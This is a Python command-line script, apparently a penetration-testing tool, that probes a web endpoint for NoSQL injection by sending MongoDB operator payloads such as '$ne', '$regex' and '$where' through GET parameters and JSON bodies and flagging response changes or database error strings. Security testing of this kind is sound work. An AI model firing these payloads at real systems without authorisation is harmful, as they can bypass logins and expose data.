#!/usr/bin/env python3
"""Agent for testing NoSQL injection vulnerabilities in web applications."""

import argparse
import json
from datetime import datetime, timezone

try:
    import requests
    HAS_REQUESTS = True
except ImportError:
    HAS_REQUESTS = False

NOSQL_PAYLOADS_GET = [
    ("[$ne]", ""),
    ("[$gt]", ""),
    ("[$regex]", ".*"),
    ("[$exists]", "true"),
    ("[$nin][]", "impossible"),
]

NOSQL_PAYLOADS_JSON = [
    {"$ne": ""},
    {"$gt": ""},
    {"$regex": ".*"},
    {"$exists": True},
    {"$where": "1==1"},
    {"$or": [{"a": 1}, {"b": 1}]},
]

ERROR_INDICATORS = [
    "mongoerror", "bson", "objectid", "cast to objectid",
    "json parse error", "syntaxerror", "unexpected token",
    "cannot read property", "mongodb",
]


def test_get_injection(url, param, token=None):
    """Test NoSQL injection via GET parameter manipulation."""
    if not HAS_REQUESTS:
        return []
    findings = []
    headers = {"Authorization": f"Bearer {token}"} if token else {}
    try:
        baseline = requests.get(f"{url}?{param}=test", headers=headers, timeout=10, verify=False)
        baseline_len = len(baseline.text)
    except requests.RequestException:
        return findings

    for suffix, value in NOSQL_PAYLOADS_GET:
        try:
            test_url = f"{url}?{param}{suffix}={value}"
            resp = requests.get(test_url, headers=headers, timeout=10, verify=False)
            indicators = []
            if resp.status_code == 200 and abs(len(resp.text) - baseline_len) > baseline_len * 0.3:
                indicators.append(f"Response size changed: {baseline_len} -> {len(resp.text)}")
            for err in ERROR_INDICATORS:
                if err in resp.text.lower():
                    indicators.append(f"Error indicator: {err}")
            if indicators:
                findings.append({
                    "param": param, "payload": f"{param}{suffix}={value}",
                    "method": "GET", "indicators": indicators,
                })
        except requests.RequestException:
            continue
    return findings


def test_json_injection(url, field, token=None):
    """Test NoSQL injection via JSON body."""
    if not HAS_REQUESTS:
        return []
    findings = []
    headers = {"Authorization": f"Bearer {token}"} if token else {}
    headers["Content-Type"] = "application/json"
    try:
        baseline = requests.post(url, json={field: "test"}, headers=headers, timeout=10, verify=False)
        baseline_len = len(baseline.text)
    except requests.RequestException:
        return findings

    for payload in NOSQL_PAYLOADS_JSON:
        try:
            resp = requests.post(url, json={field: payload}, headers=headers, timeout=10, verify=False)
            indicators = []
            if resp.status_code == 200 and abs(len(resp.text) - baseline_len) > baseline_len * 0.3:
                indicators.append(f"Response size changed: {baseline_len} -> {len(resp.text)}")
            for err in ERROR_INDICATORS:
                if err in resp.text.lower():
                    indicators.append(f"Error indicator: {err}")
            if indicators:
                findings.append({
                    "field": field, "payload": str(payload),
                    "method": "POST", "indicators": indicators,
                })
        except requests.RequestException:
            continue
    return findings


def main():
    parser = argparse.ArgumentParser(
        description="Test NoSQL injection vulnerabilities (authorized testing only)"
    )
    parser.add_argument("--url", required=True, help="Target URL")
    parser.add_argument("--param", help="GET parameter to test")
    parser.add_argument("--field", help="JSON field to test")
    parser.add_argument("--token", help="Bearer token")
    parser.add_argument("--output", "-o", help="Output JSON report")
    args = parser.parse_args()

    print("[*] NoSQL Injection Testing Agent")
    print("[!] For authorized security testing only")
    report = {"timestamp": datetime.now(timezone.utc).isoformat(), "target": args.url, "findings": []}

    if args.param:
        findings = test_get_injection(args.url, args.param, args.token)
        report["findings"].extend(findings)
    if args.field:
        findings = test_json_injection(args.url, args.field, args.token)
        report["findings"].extend(findings)

    report["risk_level"] = "CRITICAL" if report["findings"] else "LOW"
    print(f"[*] NoSQL injection findings: {len(report['findings'])}")

    if args.output:
        with open(args.output, "w") as f:
            json.dump(report, f, indent=2)
        print(f"[*] Report saved to {args.output}")
    else:
        print(json.dumps(report, indent=2))


if __name__ == "__main__":
    main()